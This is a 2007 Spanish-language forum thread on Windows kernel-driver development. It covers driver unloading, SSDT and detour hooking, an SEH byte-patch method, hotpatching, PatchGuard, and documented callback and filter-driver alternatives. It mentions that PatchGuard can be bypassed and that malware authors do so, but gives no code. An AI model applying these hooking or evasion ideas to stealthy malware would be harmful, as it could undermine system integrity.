Cita de: Hendriҳ en 24 Octubre 2007, 22:22 PMEn google no me sale eso :-\ ademas, en otros codigos vi que utilizaban el IoDeleteSymbolicLink, pero tampoco se que pasarle....
A IoDeleteSymbolicLink se le pasa un PUNICODE_STRING, basicamente una cadena que hace de enlace con un driver para comunicarse desde modo Usuario.
Citarel PEPROCESS?? En google no me sale eso
En windbg dt _EPROCESS
Por lo general las estructuras se suelen declarar asi en el DDK:
typedef struct _NOMBRE
{
//campos
} NOMBRE, *PNOMBRE;
Ok, asi que no hay posibilidad de que el driver se "termine" el mismo, no??
Bueno, no hace falta ;)
Gracias Eternal ;)
Cita de: Hendriҳ en 24 Octubre 2007, 22:43 PM
Ok, asi que no hay posibilidad de que el driver se "termine" el mismo, no??
Bueno, no hace falta ;)
Gracias Eternal ;)
Un driver de verdad lo mas probable es que si pero un modulo de modo Kernel de este tipo es dificil que tenga rutina de descarga. Igual como te dijeron antes con cortar todos los puntos donde intercepta la funcionalidad que queres ... da lo mismo que siga cargado. Otra cosa, en 64 bits hay que olvidarse de los hooks (al menos el software comercial).
Documentacion WDK (http://www.microsoft.com/whdc/DevTools/WDK/WDKdocs.mspx) (Windows Driver Kit).
Cita de: Eternal Idol link=topic=184050.msg882166#msg882166
Un driver de verdad
/quote]
Con driver de verdad te refieres a un driver firmado????
Cita de: Hendriҳ en 24 Octubre 2007, 22:56 PM
Con driver de verdad te refieres a un driver firmado????
No, me referia al concepto primigenio de device driver (controlador de dispositivo) y a que en estos tiempos un driver WDM por ejemplo tiene que especificar una rutina de descarga (DriverUnload en PDRIVER_OBJECT).
CitarOtra cosa, en 64 bits hay que olvidarse de los hooks (al menos el software comercial).
respecto a esto, no ngo ni idea pq noe leido nada, pero porcasualidad si di con un tema que explicaban algo de eso y creo q dijeron que si se podia, de otra forma pero llegaban a lo que se queria.
repito no recuerdo dnd lo vi y no se que tendra de cierto.
y para hendrix, el tema de desargar el driver siempre hablando de el tuyo. tienes que especificarle la rutina de salida y ahi tienes lo que necesitas. intenta descargarlo sin rutina de salida a ver que pasa.
mirate en ntddk.inc la estructura DRIVER_OBJECT
Cita de: ̿̿̿̿̿̿̿̿̿ en 24 Octubre 2007, 23:21 PMrespecto a esto, no ngo ni idea pq noe leido nada, pero porcasualidad si di con un tema que explicaban algo de eso y creo q dijeron que si se podia, de otra forma pero llegaban a lo que se queria.
repito no recuerdo dnd lo vi y no se que tendra de cierto.
Poder se puede pero Windows tira abajo el sistema (PatchGuard (http://en.wikipedia.org/wiki/Patchguard)). Es cierto que se puede burlar (aunque cada vez que lo hagas y Microsoft se entere cerrara esa forma) pero un software comercial no se puede dar ese lujo. Microsoft ahora esta agregando muchos callbacks aunque un poco tarde (para NT 6.2) y algunos ya existen (registro, procesos, modulos, hilos, etc).
De cualquier manera casi todo se puede hacer sin hooks y es una practica de programacion pesima cuando existen alternativas documentadas ...
gracias por la info.
CitarDe cualquier manera casi todo se puede hacer sin hooks y es una practica de programacion pesima cuando existen alternativas documentadas ...
hombre pesima jeje, yo diria sencilla y efectiva. hombre yo lo mas parecido que he leido de hacer "sin hooks" es esto (lo entrecomillo por la forma de hacerlo que viene siendo lo mismo) decia algo asi como establecer un marco SEH y cambiar un byte de la direccion a hookear al ejecutar ese codigo genera una excepcion y va a rutina donde ejecutas lo que tengas que hacer. mas o menos era asi ahora no voy a poner aqui todo el texto, es mas en gamedeception en el foro esta, pero esto yo lo veo hacer lo mismo pero mas raro.
tu dices que hay alternativas documentdas,podrias dar mas informacion? no hace falta pegar un tocho con explicar la base despues ya se busca documentacion.
saludos.
Cita de: ̿̿̿̿̿̿̿̿̿ en 24 Octubre 2007, 23:42 PMhombre pesima jeje, yo diria sencilla y efectiva.
Si hablamos de un software comercial que va a salir
a la calle es una solucion pesima y tarde o temprano se paga.
Cita de: ̿̿̿̿̿̿̿̿̿ en 24 Octubre 2007, 23:42 PMhombre yo lo mas parecido que he leido de hacer "sin hooks" es esto (lo entrecomillo por la forma de hacerlo que viene siendo lo mismo) decia algo asi como establecer un marco SEH y cambiar un byte de la direccion a hookear al ejecutar ese codigo genera una excepcion y va a rutina donde ejecutas lo que tengas que hacer. mas o menos era asi ahora no voy a poner aqui todo el texto, es mas en gamedeception en el foro esta, pero esto yo lo veo hacer lo mismo pero mas raro.
Como bien decis es otro tipo de hooking, tambien se puede aprovechar el "HotPatching" (mov edi, edi) que es mucho mas limpio y esta pensado (casi) para eso.
Cita de: ̿̿̿̿̿̿̿̿̿ en 24 Octubre 2007, 23:42 PMtu dices que hay alternativas documentdas,podrias dar mas informacion? no hace falta pegar un tocho con explicar la base despues ya se busca documentacion.
A lo sumo pegaria un enlace ;) Las alternativas dependen del campo, por ejemplo hookear (con cualquier metodo, SSDT, detours, etc) NtCreateFile es una estupidez cuando podemos crear un driver de tipo filtro para el filesystem. Con uno de estos podemos registrar un callback para la creacion de una sección (si, podemos bloquear jecutables asi - procesos, dlls, drivers).
Para trafico de red podemos hacer un Intermediate Driver de NDIS, para el registro hay callbacks en cantidad, para procesos, hilos y modulos tambien hay callbacks.
Y para NT 6.1 (antes tambien queria decir 6.1 y no 6.2, ups) hasta va a haber un callback para *OpenProcess ;D
Filter drivers vs hooking (http://www.osronline.com/showThread.cfm?link=59591) y mas generico en realidad.
Windows Vista Security: An Introduction to Kernel Patch Protection (http://blogs.msdn.com/windowsvistasecurity/archive/2006/08/11/695993.aspx) Introduccion al problema y algunas alternativas existentes.
http://www.kriptopolis.org/jaqueando-vista
Lo lei hace dias y no me acordaba de donde :xD
Cita de: Hendriҳ en 25 Octubre 2007, 13:25 PM
http://www.kriptopolis.org/jaqueando-vista
Lo lei hace dias y no me acordaba de donde :xD
Tiene un año eh :P
Como decia, una empresa no pude darse el lujo de
desactivar o eludir el PatchGuard (que por supuesto es posible), la estabilidad en sus productos es una de las cosas mas importantes. Para hacer malware no hay problema ...
:xD :xD :xD :xD :xD ni me habia fijado :xD :-\
Buena observación :)